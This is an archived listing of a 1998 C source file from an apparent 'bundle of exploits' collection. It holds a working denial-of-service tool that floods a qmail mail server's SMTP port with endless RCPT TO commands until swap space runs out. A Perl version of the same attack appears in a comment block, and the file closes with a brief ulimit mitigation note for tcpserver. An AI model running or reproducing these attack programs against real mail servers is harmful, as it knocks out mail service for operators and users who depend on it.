home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / qmail_exploit.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  3KB  |  118 lines

  1.  /*
  2.   * qmail-dos-2 - run a qmail system out of swap space by feeding an infinite
  3.   * amount of recipients.
  4.   *
  5.   * Usage: qmail-dos-2 fully-qualified-hostname
  6.   *
  7.   * Author: Wietse Venema. The author is not responsible for abuse of this
  8.   * program. Use at your own risk.
  9.   */
  10. #include <sys/types.h>
  11. #include <sys/socket.h>
  12. #include <netinet/in.h>
  13. #include <netdb.h>
  14. #include <string.h>
  15. #include <stdarg.h>
  16. #include <errno.h>
  17. #include <stdio.h>
  18.  
  19. void    fatal(char *fmt,...)
  20. {
  21.     va_list ap;
  22.  
  23.     va_start(ap, fmt);
  24.     vfprintf(stderr, fmt, ap);
  25.     va_end(ap);
  26.     putc('\n', stderr);
  27.     exit(1);
  28. }
  29.  
  30. chat(FILE * fp, char *fmt,...)
  31. {
  32.     char    buf[BUFSIZ];
  33.     va_list ap;
  34.  
  35.     fseek(fp, 0L, SEEK_SET);
  36.     va_start(ap, fmt);
  37.     vfprintf(fp, fmt, ap);
  38.     va_end(ap);
  39.     fputs("\r\n", fp);
  40.     if (fflush(fp))
  41.         fatal("connection lost");
  42.     fseek(fp, 0L, SEEK_SET);
  43.     if (fgets(buf, sizeof(buf), fp) == 0)
  44.         fatal("connection lost");
  45.     if (atoi(buf) / 100 != 2)
  46.         fatal("%s", buf);
  47. }
  48.  
  49. int     main(int argc, char **argv)
  50. {
  51.     struct sockaddr_in sin;
  52.     struct hostent *hp;
  53.     char    buf[BUFSIZ];
  54.     int     sock;
  55.     FILE   *fp;
  56.  
  57.     if (argc != 2)
  58.         fatal("usage: %s host", argv[0]);
  59.     if ((hp = gethostbyname(argv[1])) == 0)
  60.         fatal("host %s not found", argv[1]);
  61.     memset((char *) &sin, 0, sizeof(sin));
  62.     sin.sin_family = AF_INET;
  63.     memcpy((char *) &sin.sin_addr, hp->h_addr, sizeof(sin.sin_addr));
  64.     sin.sin_port = htons(25);
  65.     if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  66.         fatal("socket: %s", strerror(errno));
  67.     if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0)
  68.         fatal("connect to %s: %s", argv[1], strerror(errno));
  69.     if ((fp = fdopen(sock, "r+")) == 0)
  70.         fatal("fdopen: %s", strerror(errno));
  71.     if (fgets(buf, sizeof(buf), fp) == 0)
  72.         fatal("connection lost");
  73.     chat(fp, "mail from:<me@me>", fp);
  74.     for (;;)
  75.         chat(fp, "rcpt to:<me@%s>", argv[1]);
  76. }
  77.  
  78.  
  79. /*
  80. ------------------------------ qmail.pl ------------------------------
  81. #!/usr/local/bin/perl -w
  82. # $Id: qmail.pl,v 1.4 1997/06/12 02:12:42 super Exp $
  83. require 5.002;
  84. use strict;
  85. use Socket;
  86. if(!($ARGV[0])){print("usage: $0 FQDN","\n");exit;}
  87. my $port = 25; my $proto = getprotobyname("tcp");
  88. my $iaddr = inet_aton($ARGV[0]) || die "No such host: $ARGV[0]";
  89. my $paddr = sockaddr_in($port, $iaddr);
  90. socket(SKT, AF_INET, SOCK_STREAM, $proto) || die "socket() $!";
  91. connect(SKT, $paddr) && print("Connected established.\n") || die "connect() $!";
  92. send(SKT,"mail from: <me\@me>\n",0) || die "send() $!";
  93. my $infstr = "rcpt to: <me\@" . $ARGV[0] . ">\n"; print("Attacking..","\n");
  94. while(<SKT>){
  95. send(SKT,$infstr,0) || die "send() $!";
  96. }
  97. die "Connection lost!";
  98. ------------------------------ qmail.pl ------------------------------
  99. */
  100.  
  101.  
  102.  
  103.  
  104. /* Here is the Patch for qmail -
  105.  
  106. If you are using tcpserver it should be sufficient to set the ulimit
  107. once in the startup script.  All instances of qmail-smtpd inherit the
  108. limit without further overhead.  Seems to be working fine here.
  109.  
  110.    echo "Starting tcpserver for qmail-smtpd..."
  111.    ulimit -d 2048
  112.    /usr/local/bin/tcpserver -v -u 61 -g 61 0 smtp /usr/local/bin/tcpcontrol \
  113.        /etc/tcp.smtp.cdb /var/qmail/bin/qmail-smtpd 2>&1 | \
  114.        /var/qmail/bin/splogger smtpd 3 &
  115.  
  116.  
  117. */
  118.